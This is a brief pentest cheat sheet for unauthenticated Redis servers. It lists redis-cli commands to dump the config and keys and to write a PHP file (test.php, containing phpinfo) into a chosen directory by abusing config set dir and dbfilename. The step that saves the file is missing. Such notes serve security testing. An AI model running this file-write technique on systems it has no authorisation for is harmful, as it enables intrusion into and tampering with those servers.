REDIS is a database where the values are stored in a key:value manner. An unauthenticated access to the redis db is a common thing so make sure to check for unauthenticated access when you facing a redis server


redis-cli -h


# get all the infos
config get *
# get the stored keys
keys *
# obtain value from keys
get <keyname>
# when passwordless authentication is available we can write files with redis
# change the working directory
config set dir <directory-location>
# name of the file you want to save
config set dbfilename test.php
# contents to be stored in test.php
# set keyName value
set dnoscp '<?php phpinfo();?>'
# create the file test.php with the contents <?php phpinfo(); ?>
# get all the stored keys
keys *
# get values from the key
dump <keyname>
# delete key
del <keyname>